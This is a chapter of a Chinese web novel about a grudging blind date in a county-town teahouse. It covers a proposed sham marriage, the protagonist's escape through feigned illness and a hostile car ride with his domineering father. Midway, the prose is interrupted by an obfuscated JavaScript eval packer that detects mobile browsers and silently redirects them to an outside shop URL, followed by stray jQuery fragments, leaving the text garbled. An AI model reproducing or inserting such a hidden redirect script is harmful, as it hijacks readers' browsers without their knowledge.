初三是个灰色的阴天，云层压得很低，像是随时会塌下来。


    陈叙被塞进那辆别克车里，带去了一家名为“雅园”的新开茶楼。父亲陈卫国今天特意换上了一件深红色的羊绒衫，那是陈叙去年寄回来的，领口有点紧，勒着他松弛的脖颈，显得脸上的血色格外充盈。


    “今天这顿茶，是你王伯伯牵的线。”陈卫国一边倒车，一边对着后视镜整理那一丝不苟的头发，“女方是你刘叔的女儿，在建设银行上班，体制内，稳当。听说人长得文静，和你一样，爱看书。”


    陈叙看着窗外掠过的枯树，没说话。在这个县城的语境里，“爱看书”通常是“性格孤僻”的委婉说法。


    到了茶楼，才发现这里更像是个嘈杂的集市。


    大厅里烟雾缭绕，混杂着瓜子味、劣质香薰味和男人们的汗味。虽然名为茶楼，但隔壁包厢传来的是哗啦哗啦的麻将声和高亢的叫牌声。所谓“雅园”，不过是给粗糙的市井生活贴了一张附庸风雅的墙纸。


    他们订的包厢叫“兰亭”，里面却摆着两盆塑料感极强的假兰花，叶片上积了一层灰。


    女方家已经到了。


    刘叔是个嗓门很大的胖子，一见陈卫国就站起来，两双大手重重地握在一起，用力摇晃，仿佛是在进行某种力量的博弈。


    “哎哟，老陈！这就是你家公子吧？一表人才，一表人才啊！”刘叔的目光像探照灯一样在陈叙身上扫了一圈，那是估价的眼神——看身高、看衣着、看那副只有在大城市才养得出来的冷淡皮相。


    “哪里哪里，就是个书呆子。”陈卫国笑着，从包里掏出两包中华烟，熟练地拆开，散给在座的男人们。


    陈叙被推到了前台。


    他对面的沙发上坐着那个叫刘敏的女孩。三十岁左右，穿一件米白色的羽绒服，戴一副细框眼镜，头发一丝不苟地盘在脑后。她手里捧着一杯白开水，低着头，似乎对杯子里升起的气泡产生了浓厚的兴趣。


    双方父母寒暄着，话题迅速从天气转到了房价，又从房价转到了退休金。陈叙和刘敏像两件被摆在货架正中央的展品，沉默地接受着周围人的评头论足。


    “小敏这孩子，就是太老实。”刘敏的母亲嗑着瓜子，瓜子皮吐在手心里，“下班就回家，也不爱出去玩。我就说，这性格好，顾家。”


    “我们家陈叙也是。”陈卫国喷出一口烟雾，隔着青灰色的烟障，满意地看着这两个年轻人，“他在上海除了工作就是在家待着，不抽烟不喝酒，是个过日子的人。”


    陈叙感到一阵荒谬。在父母的嘴里，他们被剥离了所有的个性、欲望和棱角，被修剪成了两株最适合栽种在名为“家庭”的盆景里的植物。


    “行了，我们几个老家伙去隔壁棋牌室打两圈，让他们年轻人自己聊聊。”刘叔站起来，挥了挥手，“老陈，走，杀两盘。”


    大人们鱼贯而出，包厢门关上的一刹那，原本那个嘈杂、虚伪的世界被隔绝在外了一半。


    包厢里安静下来，只剩下排风扇呼呼转动的声音。


    空气里的烟味依然散不掉，像是一层灰蒙蒙的纱，罩在两人中间。


    刘敏并没有像一般相亲女孩那样表现出羞涩或局促。大人们一走，她整个人像是泄了气的皮球，原本挺直的背脊瞬间塌了下来。她从包里掏出手机，看了一眼，又随手扔在桌上。


    “你想喝点什么吗？”陈叙礼貌性地打破沉默，“这里有菜单。”


    “不用了。”刘敏的声音很冷，透着一股疲惫的沙哑，“这儿的茶都是陈茶，一股霉味。”


    她抬起头，透过镜片看着陈叙。那双眼睛不大，但很亮，里面没有相亲时常见的审视或期待，只有一种看透了底牌的冷静。


    “其实我知道你是被逼来的。”刘敏拿起桌上的不锈钢勺子，在空荡荡的玻璃杯里搅动，发出清脆单调的当啷声。


    陈叙愣了一下，随即苦笑：“这么明显吗？”


    “很明显。”刘敏停止了搅动，勺子指了指陈叙的眼睛，“你进门到现在，看了那盆假花三次，看了墙上的画两次，看了手机一次。但你一次都没有真正看过我。”


    陈叙有些尴尬地握紧了茶杯：“抱歉，我……”


    “别误会，我没怪你。”刘敏嘴角勾起一抹自嘲的弧度，“因为我也一样。我对男人没兴趣。”


    陈叙的心脏猛地跳了一下。他下意识地看向门口，生怕有人在偷听。


    “你是说……”


    “我是不婚主义者。但我爸妈以死相逼。”刘敏打断了他，她从羽绒服口袋里摸出一个精致的女士烟盒，抽出一支细长的烟，夹在指尖，却没点火，“上个月，我妈为了逼我相亲，吃了半瓶安眠药。虽然洗胃洗回来了，但我怕了。”


    陈叙沉默了。他太熟悉这种剧情了。在东亚家庭里，身体是可以作为武器的，死亡是可以作为筹码的。


    “所以，陈叙。”刘敏把玩着那支烟，身体微微前倾，压低了声音，“我们要不要……合作？”


    “合作？”


    “形婚。”刘敏吐出这两个字，清晰得像是一声脆响，“我们各取所需。领个证，办个酒，给他们演一场大戏。你是上海的高级经理，我是县城的银行职员，多般配。结了婚，你在上海过你的，我在县城过我的。逢年过节配合演一下，平时互不打扰。”


    这是一个极其诱人的提议。


    在这个瞬间，陈叙的脑海里迅速闪过无数个画面：父亲满意的笑脸、母亲抱着“孙子”在小区里炫耀的神情、再也不用面对的催婚电话、以及那个终于可以安静下来的春节。


    这是一种在这个生态系统里最完美的生存策略。代价仅仅是牺牲掉一部分所谓的“诚实”，换取一个坚硬的、合法的、能挡住所有风雨的壳。


    “我有房子，可以写你的名字一半，当作补偿。”刘敏继续加码，她的眼神里闪烁着一种绝望的精明，那是溺水者抓住最后一块木板时的决绝，“如果你想要孩子，我们可以做试管，我负责带。你只需要提供精子和抚养费。”


    陈叙看着她。


    在这个烟雾缭绕的包厢里，看着对面这个陌生的女人。她不是在谈恋爱，她是在谈一笔生意，一笔关于生存权的交易。她把自己的子宫、未来、甚至人生，都摆上了谈判桌，只为了换取一点点不再被父母折磨的安宁。


    陈叙的手指在桌下绞紧了。


    他动心了。那一刻，他真的动心了。那个“正常人”的诱惑太大了，大到让他几乎想要立刻点头。


    就在这时，包厢的门被猛地推开了。


    没有敲门，也没有预兆。陈卫国探进半个身子，手里夹着半截香烟，脸上挂着那种油腻的、探究的笑。


    “聊得怎么样啊？”


    父亲的目光像两条滑腻的蛇，迅速在两人身上游走。他看到了两人靠近的身体，看到了刘敏脸上的红晕（其实是刚才激动的），也看到了陈叙眼里的闪烁。


    他很满意。


    “小敏啊，我们家陈叙要是话少，是个闷葫芦，你多担待。”陈卫国走进来，大咧咧地拍了拍陈叙的肩膀。那一巴掌拍得很重，带着一种宣示主权的意味——看，这是我的儿子，我的作品，现在我要把他推销出去了。


    陈叙闻到了父亲身上浓烈的烟味，混合着中年男人特有的油味，直冲鼻腔。


    他看着父亲那张堆满笑容的脸。


    在那张脸上，他看不到一丝对儿子的关心，看不到一丝对“爱情”的尊重。他只看到了一种等待验收工程进度的急切，一种要把两头牲口赶紧配对成功的功利。


    父亲根本不在乎他和刘敏是否有共同语言，不在乎他们是否相爱，甚至不在乎他们是否快乐。父亲只在乎这桩“交易”能不能成交，那个名为“正常家庭”的各种指标能不能达成，能不能让他去老战友面前吹嘘一句：“我儿子定下来了。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088240|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    如果陈叙真的答应了刘敏，那就是在和父亲合谋。


    那就是在用一个巨大的谎言，去喂养这头名为“虚荣”的怪兽。而这头怪兽吃饱了之后，只会变得更加贪婪，它会索要孙子，索要二胎，索要更多更多的“正常”。


    一阵强烈的、生理性的反胃感，毫无预兆地从陈叙的胃底翻涌上来。


    那是一种比晕车还要难受的恶心。像是吞了一只活苍蝇，在他的食道里嗡嗡作响。


    “爸。”


    陈叙猛地站了起来，椅子在地板上划出刺耳的尖叫。他的脸色在那一瞬间变得煞白，额头上渗出了细密的冷汗。


    “我不舒服。”


    陈卫国的笑容僵在了脸上，像是一块干裂的石膏，扑簌簌地往下掉粉。


    “什么？”父亲的声音沉了下来，眼神里的温度瞬间消失，取而代之的是一种严厉的警告。


    “胃疼。老毛病了。”陈叙捂着肚子，这不是装的，他的胃真的在痉挛，那是身体在代替灵魂进行剧烈的抵抗，“我想先回去。”


    他不敢看刘敏的眼睛。他知道那里会是失望，甚至是鄙夷。但他顾不上了。


    陈卫国死死地盯着他。


    那双浑浊的眼睛微微眯起，闪过一丝阴鸷。那是权威受到挑战时的本能反应，也是一种被戏弄后的恼羞成怒。他看穿了陈叙的把戏，他知道这是借口，是逃避，是对他精心安排的这局棋的掀桌。


    但他不能发作。在外人面前，戏还得演下去。


    “这孩子……”陈卫国咬着后槽牙，从齿缝里挤出一声干笑，转头对刘敏露出一个歉意的表情，“可能是水土不服。真是对不住啊，小敏。下次，下次让叔叔做东，咱们再聚。”


    刘敏坐在那里，看着陈叙苍白的脸，似乎明白了什么。她把那支一直没点燃的烟重新塞回烟盒，眼神黯淡下去，重新变回了那个疲惫的、顺从的银行职员。


    “没关系。身体要紧。”她淡淡地说。


    四、 囚笼


    回家的路上，车厢里死一样的寂静。


    陈卫国没有开广播，也没有说话。他把车开得飞快，见车就超。发动机发出嘶哑的咆哮声，像是在替主人发泄着无处安放的怒火。


    一个急刹车。


    陈叙的身体猛地前冲，安全带死死地勒住他的胸口，像是一条蟒蛇在收紧绞杀。锁骨处传来一阵锐利的痛感。


    “到了。”父亲冷冷地说。


    车停在红绿灯路口。陈卫国双手紧紧地握着方向盘，指关节因为用力而泛白，手背上的青筋暴起，像一条条蜿蜒的蚯蚓。


    他没有转头看陈叙，只是死死地盯着前方的红灯。那个红色的圆点倒映在他的瞳孔里，像两团燃烧的鬼火。


    “你是故意的。”


    父亲突然开口，声音平静得可怕，却带着一种令人毛骨悚然的寒意。


    陈叙靠在椅背上，胃里的痉挛还没有平复。他看着窗外灰扑扑的街道，看着那些在这个阴冷的下午依然奔波的人群。


    “我是真不舒服。”陈叙低声说。


    “胃疼？”陈卫国冷笑了一声，那笑声短促而尖锐，“我看你是心疼。你是心疼你自己！你是为了你那点可怜的自由，连你爸的脸都不要了！”


    绿灯亮了。


    陈卫国一脚油门踩到底。巨大的推背感把陈叙狠狠地拍在座椅上。


    车子像一颗失控的子弹，射向那个名为“家”的靶心。


    陈叙闭上眼，感觉那条安全带越勒越紧，勒得他几乎无法呼吸。他知道，这不是一条安全带，这是一条脐带。一条已经老化、腐烂，却依然坚韧无比的脐带。


    它连接着他和那个愤怒的中年男人，连接着那个发霉的家属院，连接着这片潮湿阴冷的土地。


    无论他逃到哪里，只要这一端轻轻一扯，他就得乖乖地被拽回来，在那张布满了灰尘的网里，继续做一只无法飞翔的标本。